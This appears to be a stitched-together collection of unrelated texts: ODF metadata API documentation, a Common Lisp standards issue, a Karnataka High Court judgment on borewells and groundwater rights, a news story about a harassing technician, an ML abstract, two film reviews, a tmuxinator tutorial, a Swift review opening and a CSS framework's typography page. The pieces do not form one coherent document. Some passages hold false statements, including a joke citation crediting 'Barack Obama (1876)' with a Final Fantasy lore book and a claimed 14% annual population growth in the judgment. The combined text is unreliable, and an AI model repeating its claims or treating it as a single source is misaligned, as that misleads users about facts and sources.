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getElementByMetadataReference
- Description
- get the unique ODF element with the given metadata reference.
- Parameter MetadataReference
- a metadata reference, comprising the stream name and the XML ID
For example: Pair("content.xml", "foo-element-1")
- Returns
- the ODF element with the given metadata references if it exists,
else NULL
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getElementByURI
- Description
- get the ODF element that corresponds to an URI.
- Parameter URI
- an URI that may identify an ODF element
- Returns
- the ODF element that corresponds to the given URI, or NULL
- Throws
- com::sun::star::lang::IllegalArgumentException
if the given URI is NULL
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getMetadataGraphsWithType
- Description
- get the names of all metadata files with a given type.
- Parameter Type
- the
rdf:type property of the requested named graphs
- Returns
- the names of all metadata graphs that have a
rdf:type
property with the given Type as object
- Throws
- com::sun::star::lang::IllegalArgumentException
if the given Type is NULL
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addMetadataFile
- Description
- add a metadata file to the manifest.
This convenience method does the following:
- create a new graph with the given name in the repository
- insert statements declaring the new graph to be a
metadata file into the manifest graph
- insert statements declaring
rdf:type properties
for the new graph into the manifest graph
- Parameter FileName
- the name of the stream in the ODF storage where the graph will
be stored
- Parameter Types
- a list of types that will be inserted as
rdf:type
properties for the graph
- Returns
- the name of the new graph
- Throws
- com::sun::star::lang::IllegalArgumentException
if the FileName is invalid
- Throws
- com::sun::star::container::ElementExistException
if a stream with the given FileName already exists
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importMetadataFile
- Description
- import a metadata file into the document repository, and add it to the
manifest.
This convenience method does the following:
- import the given file into a graph with the given name
in the repository
- insert statements declaring the new graph to be a
metadata file into the manifest graph
- insert statements declaring
rdf:type properties
for the new graph into the manifest graph
- Parameter FileName
- the name of the stream in the ODF storage where the graph will
be stored
- Parameter BaseURI
- a base URI to resolve relative URI references
- Parameter Types
- a list of types that will be inserted as
rdf:type
properties for the graph
- Returns
- the name of the new graph
- Throws
- com::sun::star::lang::IllegalArgumentException
if the given stream is NULL,
or BaseURI is NULL and the format requires use of a base URI,
or the FileName is invalid
- Throws
- com::sun::star::datatransfer::UnsupportedFlavorException
if the format requested is unknown or not supported
- Throws
- com::sun::star::container::ElementExistException
if a stream with the given FileName already exists
- Throws
- ParseException
if the input does not conform to the specified file format.
- Throws
- com::sun::star::io::IOException
if an I/O error occurs.
- See also
- FileFormat
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removeMetadataFile
- Description
- remove a metadata file from the manifest and the repository.
This convenience method does the following:
- delete the graph with the given GraphName in the repository
- remove the statements declaring the graph to be a
metadata file from the manifest graph
- Parameter GraphName
- the name of the graph that is to be removed
- Throws
- com::sun::star::lang::IllegalArgumentException
if the given GraphName is NULL
- Throws
- com::sun::star::container::NoSuchElementException
if a graph with the given GraphName does not exist
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addContentOrStylesFile
- Description
- add a content or styles file to the manifest.
This convenience method adds the required statements declaring a
content or styles file to the manifest graph.
- If the FileName ends in "content.xml",
an
odf:ContentFile is added.
- If the FileName ends in "styles.xml" ,
an
odf:StylesFile is added.
- Other FileNames are invalid.
- Parameter FileName
- the name of the stream in the ODF storage
- Throws
- com::sun::star::lang::IllegalArgumentException
if the FileName is invalid
- Throws
- com::sun::star::container::ElementExistException
if a stream with the given FileName already exists
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removeContentOrStylesFile
- Description
- remove a content or styles file from the manifest.
This convenience method removes the statements declaring a
content or styles file from the manifest graph.
- Parameter FileName
- the name of the stream in the ODF storage
- Throws
- com::sun::star::lang::IllegalArgumentException
if the FileName is invalid
- Throws
- com::sun::star::container::NoSuchElementException
if a graph with the given GraphName does not exist
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loadMetadataFromStorage
- Description
- initialize document metadata from a storage.
This method re-initializes the document metadata,
loads the stream named "manifest.rdf" from the storage, and then
loads all metadata streams mentioned in the manifest.
Note that it is not an error if the storage does not contain
a manifest.
In this case, the document metadata will be default initialized.
If an InteractionHandler argument is given, it will be used for
error reporting. Otherwise, errors will be reported as exceptions.
- Parameter Storage
- a storage, representing e.g. an ODF package file, or sub-document
- Parameter BaseURI
- a base URI to resolve relative URI references
N.B.: when loading from an ODF package, the base URI is not the
URI of the package, but the URI of the directory in the package
that contains the metadata.rdf
- Parameter InteractionHandler
- an InteractionHandler, used for error reporting
- Throws
- com::sun::star::lang::IllegalArgumentException
if any argument is NULL
- Throws
- com::sun::star::lang::WrappedTargetException
if an error occurs while loading and no InteractionHandler given
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storeMetadataToStorage
- Description
- store document metadata to a storage.
This method stores all the graphs in the document metadata repository
to the given storage.
Note that to be stored correctly, a named graph must have a complete
entry in the manifest graph.
- Parameter Storage
- a storage, representing e.g. an ODF package file, or sub-document
- Throws
- com::sun::star::lang::IllegalArgumentException
if Storage argument is NULL
- Throws
- com::sun::star::lang::WrappedTargetException
if an error occurs while loading
|
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loadMetadataFromMedium
- Description
- loads document metadata from a medium.
If the Medium contains an InteractionHandler, it will be used for
error reporting.
- Parameter Medium
- the com::sun::star::document::MediaDescriptor
representing the source
- Throws
- com::sun::star::lang::IllegalArgumentException
if the argument does not contain a URL or Stream property
- Throws
- com::sun::star::lang::WrappedTargetException
if an error occurs while loading
- See also
- ::com::sun::star::document::MediaDescriptor
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storeMetadataToMedium
- Description
- stores document metadata to a medium.
- Parameter Medium
- the com::sun::star::document::MediaDescriptor
representing the target
- Throws
- com::sun::star::lang::IllegalArgumentException
if the argument does not contain a URL or Stream property
- Throws
- com::sun::star::lang::WrappedTargetException
if an error occurs while storing
- See also
- ::com::sun::star::document::MediaDescriptor
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Issue: COERCING-SETF-NAME-TO-FUNCTIONReference: X3J13/92-102, dpANS 12.24
COERCE, p.4-30..32
X3J13/89-520, Issue FUNCTION-NAME
X3J13/88-413, Issue FUNCTION-TYPE
X3J13/92-3101, Kim Barrett comment #1
Category: ADDITION
Edit History: Version 1, 06/15/91, Kim Barrett
Version 2, 06/22/91, Kim Barrett (summarize discussion)
Version 3, 01/06/93, Kim Barrett (update references)
Version 4, 01/06/93, Kim Barrett (name the proposal)
Status: Proposal ALL-FUNCTION-NAMES accepted, Mar 1993
Problem Description:
COERCE doesn't currently provide a means of converting a SETF function name to
a function object, as it does for functions named by symbols. FUNCTION-TYPE
was written too early to cover this, and FUNCTION-NAME didn't correct it.
Proposal (COERCING-SETF-NAME-TO-FUNCTION:ALL-FUNCTION-NAMES):
Change the argument permitted by COERCE when the type argument is FUNCTION to
treat all function names as it currently treats symbols. The following change
to the 12.24 draft is required:
In the description of the COERCE function, the first paragraph of the section
for the FUNCTION result-type (p.4-31) says:
If the \param{result-type} is \typeref{function},
and \param{object} is any \term{symbol} that is \term{fbound}
but that is globally defined neither as a \term{macro name} nor as
a \term{special operator}, then the \param{result} is the
\term{functional value} of \param{object}.
Change the occurance of the term \term{symbol} to instead be
\term{function name}, so that the sentence reads:
If the \param{result-type} is \typeref{function},
and \param{object} is any \term{function name} that is \term{fbound}
but that is globally defined neither as a \term{macro name} nor as
a \term{special operator}, then the \param{result} is the
\term{functional value} of \param{object}.
Editorial Impact:
Single term change.
Rationale:
This corrects an apparent oversight in the FUNCTION-NAME proposal.
Discussion:
Moon and others feel that (COERCE symbol 'FUNCTION) is questionable, but that
it would be better to make a small upwardly compatible change for consistancy
rather than leaving things inconsistant, and that even worse would be the now
incompatible change involved in the removal of the coercion of symbols to
functions.


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1 IN THE HIGH COURT OF KARNATAKA AT BANGALORE DATED THIS THE 05TH DAY OF JUNE 2013 PRESENT THE HON'BLE MR.JUSTICE K.L.MANJUNATH AND THE HON'BLE MR. JUSTICE L. NARAYANA SWAMY WRIT APPEAL NO.2503 OF 2009 (GM) BETWEEN: K.M.HIRIYANNAPPA, S/O.MANJAPPA, 65 YEARS, OCCUPATION: AGRICULTURE, R/O.KANGODU NADAMANCHALE VILLAGE, TALUK: SAGAR, DISTRICT: SHIMOGA. ...APPELLANT (BY SRI MAHESH R UPPIN, ADV.) AND: 1. STATE OF KARNATAKA DEPARTMENT OF REVENUE, BY ITS SECRETARY, M.S.BUILDING, BANGALORE 2. DEPUTY COMMISIONER, SHIMOGA, 3. EXECUTIVE OFFICER, TALUK PANCHAYATH, SAGAR, DISTRICT: SHIMOGA 2 4. SECRETARY, GRAMA PANCHAYATH ULLUR, TALUK: SAGAR, DIST:SHIMOGA 5. SRI.VENKATAGIRIYAPPA, S/O RAMAIAH, AGED ABOUT 74 YEARS 6. SRI B.R.SURAPPA, S/O.RAMAIAH, AGED ABOUT 72 YEARS 7. SRI B.N.MANJAPPA, S/O.GOVINDASWAMY, AGED ABOUT 59 YEARS 8. SRI.VENKAPPA, S/O SANNAIAH, AGED ABOUT 70 YEARS 9. SRI CHANDRAKANTHA.K.G. S/O.B.GANESH RAO, AGED ABOUT 42 YEARS 10. K.V.V.VENKATACHALA, S/O.VENKAPPA, AGED ABOUT 44 YEARS RESPONDENTS 5 TO 10 ARE ALL R/O.KANUGODI VILLAGE, B.MANCHALE POST, SAGAR TQ., SHIMOGA DISTRICT. ...RESPONDENTS (BY SRI D.VIJAYAKUMAR, AGA FOR R-1 TO R-4, SRI R.V.JAYAPRAKASH, ADV. FOR R-3 & 4, SRI VISHWANATH R.HEGDE, ADV. FOR R-6,7,9 & 10) 3 THIS WRIT APPEAL IS FILED UNDER SECTION 4 OF THE KARNATAKA HIGH COURT ACT PRAYING TO SET ASIDE THE ORDER PASSED IN THE WRIT PETITION 15080/2007 DATED 19/06/2009. THIS WRIT APPEAL COMING ON FOR PRL.HEARING THIS DAY, NARAYANA SWAMY, J., DELIVERED THE FOLLOWING: JUDGEMENT
The appellant preferred writ petition challenging the order passed by the Deputy Commissioner, Shimoga dated 23.7.2007 and sought for quashing the same. The said writ petition came to be dismissed, against which this appeal is filed.
2. It is the case of the appellant-petitioner that he is the owner in possession of the properties in Sy.No.16/1P1, 16/2A measuring 33 guntas and 25 guntas respectively. In Sy.No.16/1P1, there is a open well which is insufficient to feed water to the lands referred above. Hence he made a representation to the competent authority seeking permission to dig a bore-well. The same was rejected, against which he preferred writ petition No.5637/2006. The 4 writ petition came to be disposed of directing the petitioner to avail an alternative remedy. Accordingly, he approached the competent authority, the Executive Officer, Taluk Panchayat under Section 3(3) of Karnataka Ground Water (Regulation for Protection of Source of Drinking Water) Act, 1999, hereinafter referred to as `the Act' for short. The said authority by the order dated 27.1.2007 (Annexure-B) rejected the claim.
3. The appellant thereupon filed appeal before the Deputy Commissioner, Shimoga. The appeal came to be dismissed confirming the order passed by the competent authority. The appellant challenged the said orders by filing W P No.15080/2007 (GM-RES), which came to be dismissed by the order dated 19.6.2009. Hence the present appeal.
4. The learned counsel for the appellant submits that the writ court has committed an error in not considering the case of the appellant. The orders of the appropriate authority as well as the appellate authority are ultra vires 5 the provisions of Section 3(3) of the Act as the appropriate authority has failed to seek advise of the technical officer. Further it is submitted that the Government has not yet issued any notification declaring public source of drinking water. In the absence of the same, it is not proper for the appropriate authority as well as the appellate authority to reject the claim of the appellant.
5. On the other hand, the learned government advocate submits to dismiss this writ petition. The competent authority as well as the appellate authority have assigned reasons that if permission is granted, the streams which is used for public as well as animals would dry causing hardship to the public. In the circumstances, the endorsement issued by the authorities is justified which is rightly appreciated by the learned Single Judge calling for no interference.
6. The provisions of the Act prevents unregulated sinking of bore-well in order to protect public source of 6 drinking water. Section 2(7) of the Act provides, Government has to issue notification declaring public streams, wells and tanks for the purpose of application of provisions of the Act. In the instant case, the Government has not issued any notification. There is a tank situated in Sy.No.13 and a water body (natural spring) in Sy.No.18 both are within a distance of 500 meters from the appellant's land. It is the opinion of the competent authority and the appellate authority that if permission to sink a bore-well as sought for by the appellant is granted, it would result in drying up the streams which is used for public as well as animals. When these are the facts situation, non issue of notification u/s 2(7) of the Act would be of no consequence. The appropriate authority has also not taken advise from the technical officer. It also not invalidates the decision of the appropriate authority because such an advise is formal in nature. It has to be construed that in a 7 suitable case, the appropriate authority has to seek his advise.
7. Since water is needed for survival and growth, it is necessary to ensure that benefits are distributed in a fairly and equitable manner to see that everybody has access to it to fulfill the minimum needs of drinking water and water for domestic use. Introduction of high power technology of extracting ground water strikes at the very root of ground water as a property right available to every property owner. The ground water is a dynamic resource which flows from different channels, the owners of land cannot claim absolute ownership over water beneath the land.
8. An easement is a right which the owner or occupier of certain land possess on which for the beneficial enjoyment of his land, to do and continue to do something or to prevent and continue to prevent something being done in or upon or in respect of certain other land not his own.
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9. The Supreme Court of India has further reinterpreted Article 21 of the Constitution of India to include right to water as a fundamental right to life. The ground water is not mentioned in any of the list in the 7th Schedule of the Constitution of India. This could be because framers of the Constitution did not envisage a situation like that of today when ground water in a particular area is so scarce as to pose threat to environment, life and livelihood of the people of the concerned area in several parts of the country. A few land owners who install powerful bore-wells, tube-wells in the beginning and thereby succeeded in withdrawing higher proportion of water may leave little water for other land owners who join the race later on.
10. Though the land owner has got a right over the ground water but as it is already discussed, the ground water is not a captive resource. In fact it flows like the river beneath the surface. The nature of the stream or 9 ground water which moves from one area to another area and it provides survival and source of growth to the vast population. Under these circumstances, the owner of a particular land claiming as his right under Easementary Act by putting modern equipment to draw water, which ultimately deprives public at large. Hence the mandate put under Section 3 of the Act has to be implemented in its full spirit to save the public, poor and disadvantaged and to keep the environment and livestock. Though the Act provides to take permission under Section 3 to sink a bore- well, it has to be understood in a proper perspective that every bore-well lorry or truck shall take permission from the competent authority or appropriate authority before proceeding to sink a bore-well in anybody's land. It should be in the form of licence to move to sink a bore-well.
11. In ancient times, our ancestors gave important place to environment, worshipped nature namely, Sun, Moon, Earth, Air, Water, River etc., The water has been 10 worshipped in many forms namely, Gange, Jeeva Nadi, Symbol of Life. Tanks and lakes were built in every village and temples and tanks were general found in every village.  No scarcity of water noticed. The water was surplus to small population.
12. Today's seen is entirely different. Irregular and erratic rain patron of monsoon, unevenly distributed rain, dry lakes and tanks and rivers and drying level reached dams. Destruction of forest, unscientific use of water for irrigation is common feature. Population explosion also contributed in it. The population exceeds 1.1 billion and growing annually at an astonishing figure of 14%. The people are facing thirsty. Such a situation makes necessity to impose restriction on access to ground water.
13. It is not specifically mentioned in the constitution, right to water, as a fundamental right. Nevertheless, right to life is provided under Article 21 of the Constitution, 11 Right to water as a fundamental right. The Supreme Court in Subhash Kumar vs., State of Bihar, AIR 1991 SC 420 had held that right to environment of pollution free water.
14. In Part-IV of the Constitution, Directive Principles of State Police, Article 39(b) provides that the State shall, in particular, direct its policy towards securing that the ownership and control of the material resources of the community are so distributed as best to sub-serve the common good. In the light of the said provision, the State is under its constitutional duty to take control over the ownership of the material resources of the community, if it is required to sub-serve the common good. The open wells even if it belongs to a person, river, lakes, tanks are to be taken out by the Government if it is in its decision that it sub-serves the common good. As it is already discussed, the underground water springs which flow under the soil from place to place like a river and the same is found in any 12 particular place, it should not be treated as its ownership belongs to a particular individual.
15. Sub-clause (g) of Article 51-A Part-IV-A of the Constitution provides that it is the duty of every citizen of India to protect and improve the natural environment including the forests, lakes, rivers, wildlife and to have compassion for living creatures. The constitution puts a duty on the part of the individual to protect natural environment including lakes, rivers and water resources for the better natural environment for them and also for the succeeding generation.
16. This Court in a reported judgment in Venkatagiriyappa vs. Karnataka Electricity Board, Bangalore & others (1999(4) Kar.L.J.482 (DB), though it has not held that drinking water is not a right, held that 13 impugned orders apparently appear to have been issued for the purpose of protecting the hardship of drinking water faced by the people in the rural areas. Digging and drilling of further wells in close proximity of one another, they are required to be regulated which apparently appears to have been achieved by issuance of the aforesaid orders.
17. Number of statutes such as water (Prevention & Control of Pollution) Act, the Water Prevention and Control of Pollution) Cess, Act 1977 etc., lay down the guidelines for maintenance of water quality as well as for conservation of water. The Supreme Court in M.C. Mehta vs., Kamal Nath (AIR 1988 SC 1037) held that "the Court declared that our legal system based on English common law includes a public trust doctrine as part of its jurisprudence. The State is the trustee of natural resources which are by nature meant for public use and enjoyment. The public at large is the beneficiary of the sea-shore and running water, air, forest, ecologically fragile lands.
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18. The State as a Trustee is under a legal duty to protect natural resources. These resources meant for public use cannot be converted under private ownership. In this background, the representation seeking permission to sink a bore-well has to be considered by the authorities.
19. In the circumstances, the order passed by the appropriate authority as per Annexure-B and that of the appellate authority as per Annexure-A are in consonance with provisions of the Act and the same has been properly considered by the writ court elaborately and the reasons assigned therein are sound and proper. We do not find any good reasons to interfere.
Accordingly the writ appeal is dismissed.
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JUDGE.
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JUDGE AKD


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Staying in a rented property with housemates means that once in a while you have to sacrifice a day to stay at home while technicians fix items around the house.
But things can get uncomfortable when you’re the only one at home and are unable to protect yourself if the technician in question turns out to be a dodgy person.
For example, TehOiah (@ohhjiaa) took to her Twitter account to showcase an incident that happened to her housemate who was alone at home when a technician came over to fix their fridge.
TehOaih wrote, “Be extra careful, girls. This guy was casually watching porn while fixing the fridge in my house. My housemate was alone at home, and he did this in front of her while trying to have a crude conversation with her.”
The man apparently didn’t fix the fridge but only made minor checks to it before planting himself on their floor, saying that he had to wait to see if the fridge would get cold. He then pulled out his phone and starting watching a pornographic video on high volume.
“He asked if my housemate had had sex before. What was her first time like? He was also telling her about his first time with his wife. Hence, he was in the house for 2 hours, and he didn’t even fix my fridge, all he did was just check a few things.
Fortunately, he didn’t harm TehOaih’s housemate, but nonetheless it doesn’t excuse his unprofessional and dangerous behaviour. Hence, she decided to complain about the technician to the real estate agent who ran the house and hired him in the first place.
Sadly, the agent clearly took the incident lightly.
The agent had told TehOaih to ‘just let it go’, as according to him, the technician had not bothered her housemate in any substantial way.
Proper action should be taken against the technician in order to avoid such situations from happening again, after all, if no further measures are taken against the man, wouldn’t he believe that he can continue his behaviour?
TehOaih’s posting has since garnered up to 12,000 retweets.
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Author: Nathan Srebro, Karthik Sridharan, Ambuj Tewari
Abstract: √ ˜ We establish an excess risk bound of O HR2 + HL∗ Rn for ERM with an H-smooth loss n function and a hypothesis class with Rademacher complexity Rn , where L∗ is the best risk achievable by the hypothesis class. For typical hypothesis classes where Rn = R/n, this translates to ˜ ˜ a learning rate of O (RH/n) in the separable (L∗ = 0) case and O RH/n + L∗ RH/n more generally. We also provide similar guarantees for online and stochastic convex optimization of a smooth non-negative objective. 1
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Amen to your Oi Keeping the Faith
By Ross Anthony
We all love Ben Stiller of "Something About Mary." And Ed Norton has certainly become a well respected actor of recent time. (He's directing this picture, by the way.) And who could resist the sexy tomboy Jenna Elfman (Greg's Dharma)? But there's something about this reasonably funny film "Keeping the Faith" that leaves a lingering doubt.
For sure the premise is devilishly sweet. Three best friends from childhood: one becomes a priest (Norton), the other a rabbi (take a guess), the third an aggressive high-powered business consultant (Elfman). Best buddies as they worship the big guy, Norton and Stiller are altar-cowboys, inspiring their respective New York congregations with refreshing zeal and silliness, but not without a whole heart full of sincerity. This is where the film radiates. Their friendship, confidence, love, and faith is expressed in a wonderfully real, non-traditional, humorous, near-MTV, open/honest way. One Santana-slick scene preaches this message without a spoken word: collar-clad Norton and yarmulke-topped Stiller saunter down the streets of New York in variable-slow-mo, donning leather jackets and dark sunglasses as they smile and great passers-by. You'll love this sequence.
Enter Elfman. After having moved out of the neighborhood at age 13, the alluring Elfman becomes hesitantly pursued by our two holy men - in a lightly romantic-comedic, yet forbidden kind of way. This is where the doubt slips in. The three are great performers, but there's an ever-so subtle chemistry imbalance. The rapport between Norton and Stiller is so fresh and exciting and honest - the film slides a baby step backwards in focusing on Elfman and lover. The trio tangos for position, juggling dedication with desire and comedy. Don't get me wrong, it's still entertaining ... it's just that the meaty original story of the hip rabbi and priest simmers on the back burner as the soapy love triangle bit occupies the screen. Norton's character puts it aptly, "I feel like I'm in a Spelling TV series ... 'Melrose Priest.'"
Notable other points of remark: The opening five minutes is flatly lame (but is over soon enough). Norton does a great Rainman impersonation. In smaller roles, Milos Forman is awesome as elder confidant to Stiller, while Don the Karaoke salesguy (Ken Leung) is over-the-top hilarious, stealing the screen from the two top names in his brief appearance as he nails down one of the films funniest, most memorable moments. I predict we'll see more of him in the future.
Just a popcorn kernel short of an "A-", you won't have a bad time, but you probably won't remember this film past Easter/Passover either.
Keeping the Faith. Copyright © 2000. Rated PG-13. Starring Ben Stiller, Edward Norton, Jenna Elfman, Anne Bancroft, Eli Wallach, Ron Rifkin, Milos Forman, Holland Taylor, Lisa Edelstein, Rena Sofer and Ken Leung. Directed by Edward Norton. Written by Stuart Blumberg. Produced by Hawk Koch, Edward Norton and Stuart Blumberg at Touchstone/Spyglass.
Grade..........................B+
-- Copyright © 2000. Ross Anthony, currently based in Los Angeles, has scripted and shot documentaries, music videos, and shorts in 35 countries across North America, Europe, Africa and Asia. For more reviews visit: http://RossAnthony.com
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SNAKE EYES
A Film Review by Brian Takeshita
Rating: **1/2 out of ****
It was a dark and stormy night. A hurricane was making landfall and whipping the shores of Atlantic City, a town known for the bright lights which belied its dark, seamy underside. The rain came down like a gesture from God, trying to wash away the murkiness, the corruption, the evil. But taking shelter inside of one of the so-called jewels of the city's thorny crown were the sinners, gathered around a boxing arena and eager to watch the ensuing pugilistic contest like the Romans of old, frenzied in their thirst for blood, drawn of their fellow man.
That's how I envision the first paragraph of the screenplay for SNAKE EYES, in which director Brian De Palma attempts to deliver a film noir for the present day. It's got all the ingredients: A cop on the take, a villain with money and power, a damsel in distress, a boxer paid to take a dive, a murder, and a storm outside to provide an ominous backdrop.
The main character is Rick Santoro (Nicholas Cage), an Atlantic City police detective who is king in his sector of the boardwalk area. He knows everybody, is well connected, and gets regular payoffs by the local would-be felons. It's obvious he runs a pretty tight ship, one that serves his own purposes nicely.
Atlantic City is a big boxing town, and Santoro is a big boxing fan. On this particular night, he gets to watch the fight of the century from the front row, courtesy of his best friend, Navy Commander Kevin Dunne (Gary Sinise), who is handling security for Defense Secretary Charles Kirkland (Joel Fabiani). Kirkland's attendance is partly a PR ploy to show solidarity with the arena's owner Gilbert Powell (John Heard), who's also the head of a defense contracting company developing the Airguard, a controversial new anti-missile system. When, in the middle of the fight, Kirkland is shot to death mere feet away from Santoro, he becomes embroiled in the investigation into who killed the Secretary and why, attempting to reconstruct the chain of events leading up to the assassination through eyewitness accounts, surveillance footage, and his own recollections.
The problem with film noir as a genre is that it doesn't give us very many surprises. There have already been a lot of films before this one that have set the series of events we expect - that's why it's a genre. It is for this reason that SNAKE EYES doesn't really impress. De Palma treats us to some interesting (although not innovative) camerawork, great use of light and shadow, and the way he plays out the same scenes from different perspectives is refreshing, but as a film there isn't a lot that's original. We can anticipate the plot twists, and we know what the outcome will be.
This is why it is perhaps even more disappointing that there are some rudimentary points which were not given enough attention, signifying some sloppy screenwriting and direction. For example, Julia Costello (Carla Gugino) is the person seen talking with Kirkland when he is shot. Disappearing into the crowd after being grazed by a bullet herself, she is sought after by both the good guys and the bad guys as the one person who might be able to identify the motive behind the murder. Principal role, right? Important to the plot, right? It wasn't until the credits came up that I even knew the character's name. Was the part where her name is revealed left on the cutting room floor, or was I just seriously not paying attention? I wonder how she is even able to "disappear" when security is crawling all over the arena, detaining people left and right, and here's a woman, covered in blood, and apparently no one takes notice.
There are other disappointments, too, such as when Santoro is being trailed by the film's villain, and recognizes he is being followed when lightning from behind causes an unmistakable shadow. De Palma is successful in mounting some serious tension by focusing on certain parts of the villain's shadow, and utilizing Ryuichi Sakamoto's dramatic score. However, there is zero payoff as Santoro simply turns around and faces his antagonist, rather than pull some fancy move and commence the final struggle. Unfortunately, the film's climax, when it does occur, depends so much on coincidence it's laughable - or at least would be laughable if it weren't such a sorry excuse for wrapping everything up.
Luckily, we are given two good performances by the male leads. Cage is engaging as the over-the-top Santoro; he's up on energy through the first half hour of film, and it's fun to watch him. It would be difficult to take it for the full running time, however, so his character is graciously toned down as the sobering reality of the assassination takes hold. Cage also plays well off of Sinise, who's Dunne is straight man to Cage's Santoro for the first part of the movie, but who soon enough gets to distance himself and command his own scenes. I sometimes wonder if Sinise can play a role badly.
SNAKE EYES is a film that starts out with a lot of potential, but founders along the way to a decidedly unsatisfying finish. Cage and Sinise save portions of the movie, but in the end the screenplay does not rise above the level of ordinary, and occasionally dips below that.
Review posted August 31, 1998
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Be more productive with TMUXINATOR
TMUXINATOR is a TMUX session manager; TMUX is a software that lets you switch easily between several programs in one terminal, detach them (they keep running in the background) and reattach them to a different terminal. And do a lot more. See the manual.
Requirements: - Define your bash $EDITOR; - Ruby installed - TMUX 1.8+ installed, if you have any troubled installing this version in your Ubuntu you can follow these tips.
TMUXINATOR is a rubygem, to install it is easy:
gem install tmuxinator
After you install it you can start a new project using:
tmuxinator open my_project
This command will open a YAML file inside your default editor (that I wish to be VIM):
# ~/.tmuxinator/my_project.yml
name: my_project
root: ~/
# Runs before everything. Use it to start daemons etc.
# pre: sudo /etc/rc.d/mysqld start
windows:
- editor:
layout: main-vertical
panes:
- vim
- rspec
- server: bundle exec rails s
- logs: tail -f logs/development.log
If you only read this file you will be amazed with all the possibilities it gives to you. This basic config file is really useful if you work with a Rails project. It gives to you three windows ( rspec and editor, server and log reader ) ready to dive in code.
Well, with this file saved you can start your day typing:
mux start my_project
That’s it, your whole dev environment is active and ready to rumble. You can configure it as you wish: you need a ssh connection, new editors, a database window, top, capistrano? You can do it and much more, explore its manual and you will see how powerful it is.
You can also share its .conf with your team and avoid those 15 minutes every developer loses to start to code in the morning.
Now let’s do a simple math. Saving 15 minutes everyday * 20 days you save 5 hours of work per month per developer.
Now multiply this “save time” * your dev team (8 devs?!?). You are saving A WEEK of time and money with this simple config file.
Cheers to productivity and money being saved!


The first public beta of Swift has been out for a week. I’ve been there since the beginning. I’ve read almost the entire book and have written many dozens of lines of Swift code. So as an expert in the field, I’m finally in a position to write the definitive review of the language. That’s a joke, son. But I’m going to dive in anyway, since that’s what you do once you hit your 140 character limit.
First, a spoiler. I basically like Swift. Given its goals and its constraints, I think it’s a move in the right direction. Many of those complaining most about Swift seem to misunderstand one or the other.


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All visible typography elements in HTML are styled in a consistent manner.
The sizes of the headings range from the very large

to the small

which has the same size as regular text. Heading 1 has a slightly lighter weight than regular text, and 4 through 6 are bolded.
Example
Paragraph start.
Paragraph start.
Paragraph start.
Paragraph start.
Paragraph start.
Paragraph start.
A primary header that starts a new section can be wrapped in

to set it apart a bit more. Following that header, a number of section summary paragraphs can be added.
Example
h1
elementEtiam adipiscing diam non massa posuere consequat. Praesent vel auctor augue. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.

Example with h1 element

Etiam adipiscing diam non massa posuere consequat. Praesent vel auctor augue. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.

The best example of how body copy looks when using the framework is this page itself, which is built using the default settings. The font used for the main copy is Helvetica, monospaced text uses Menlo, and buttons use Helvetica Neue due to its more consistent baseline. The default size is 14px, with a line height of 20px.
Regular text-level elements are all provided for. For example, strong and emphasized text, or small, subscript or superscript text—and many more.
For a full list of visual elements and an overview of their usage, see our element usage table.
Lists are kept as close to regular HTML lists as possible. A single list item's bullet can be removed by adding the no-bullet
class to the

. For a completely flat list, add the unstyled
class to the

.
Example
To display a list horizontally, the list-hrz
class can be used. These can't be nested.
Example
By adding the justified
class, a list is justified across the container's full width. Keep in mind that if the elements exceed the container size, wrapping will occur.
Example
For minor, inline quotations, the <q>
element can be used inside of a running text. For larger quotations, a

can be used.
Example
It's always worth checking the source of a quote to ensure it has not been altered or fabricated.
Barack Obama (1876) "The Complete Guide to Final Fantasy Lore", pp. 20–28

It's always worth checking the source of a quote to ensure it has not been altered or fabricated.
 Barack Obama (1876) "The Complete Guide to Final Fantasy Lore", pp. 20–28

For longer quotations, it's possible to use multiple

elements inside of the blockquote
.
Support for <ruby>
annotations is built-in. Currently, the only major rendering engine that does not support the Ruby module is Gecko (Firefox). All other rendering engines do not need the CSS code used to make it work on Gecko, but they should not be bothered by it either. Only basic elements of the Ruby module are implemented, since complex support cannot be added through CSS modifications alone.
A standard usage of Ruby is, for example, to give the reading of Japanese characters.
Example 2: Word Reading
Example 2: Per-Character Reading
漢字
You can also group characters and their readings in separate <rbc>
containers.
Example 3: Per-Character Reading (Separately Grouped)
Here's another example, using Ruby annotations to give word readings in a running text. As you can see in the page source, the <ruby>
element needs to be inline—otherwise, superfluous spaces are added.
Example 4: Running text (Japanese)
きのうの豪雨で山の水源地は氾濫し、濁流滔々と下流に 集り、猛勢一挙に橋を破壊し、どうどうと響きをあげる激流が、木葉微塵に橋桁を跳ね飛ばしていた。
Example 5: Running text (Pinyin)
The Grass Mud Horse—草泥馬—is … characterised as “lively, intelligent and tenacious”. However, their existence is said to be threatened by the "river crabs"—河蟹—which are invading their habitat.
It's possible to nest <ruby>
elements.
Example 6: Nested Ruby elements
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Support will be improved as the module stabilizes.
The proper tags for the use of inline programming code are as follows:

<samp>

<var>
The <tt>
tag, while supported by the framework, is not a part of the HTML5 spec, so its usage is discouraged.
For brief, inline pieces of code, the
element should be used. For larger sections of programming code, a

alone suffices.

Put your code here.

If line numbers are needed, two things must be done the line-numbers
class needs to be added to the

tag, and the tag must be decorated. This can be done with the following HTML:

 Your code goes here

This has the following result:
Your code goes here
The framework supports the use of highlight.js for client-side syntax highlighting.
To enable syntax highlighting, add the value syntax-hl
to the ddfw-filter
attribute and then decorate it. In this example, we're also showing line numbers.

 function get_geometry(geo_size, world) { geometry = new THREE.PlaneGeometry(geo_size, geo_size, world.width - 1, world.depth - 1); geometry.applyMatrix(new THREE.Matrix4().makeRotationX(-Math.PI / 2)); geometry.dynamic = true; return geometry; }

In order to apply standard CSS rules to a

element, the table
class must be added—this prevents our rules from conflicting with other things tables are commonly used for. Any kind of table structure can be used.
The following basic classes can be added:
alt-cols
– gives every even column in the body section a darker coloralt-rows
– gives every even row in the body section a darker colorbordered
– adds a thin border around the entire table (and rounds the corners)col-borders
– adds vertical borders inside the tablecolgroup-borders
– adds vertical borders to <colgroup>
elements (incompatible with rounded
)hover
– makes all cells in the body section change color upon hoverrounded
– rounds the corners of a tableWe've included example code in case you've forgotten what

markup looks like.
Example
| Header | Header |
|---|---|
| Data | Data |
| Data | Data |
| Data | Data |

Basic table example

 Header	 Header

 Data	 Data
 ...

To get borders inside of the table you can use the col-borders
class.
If more specifivity is needed, you can use <column-group>
elements to further divide your data into separate column groups (and if used together with the col-borders
class, the group borders will be thicker than other inner borders).
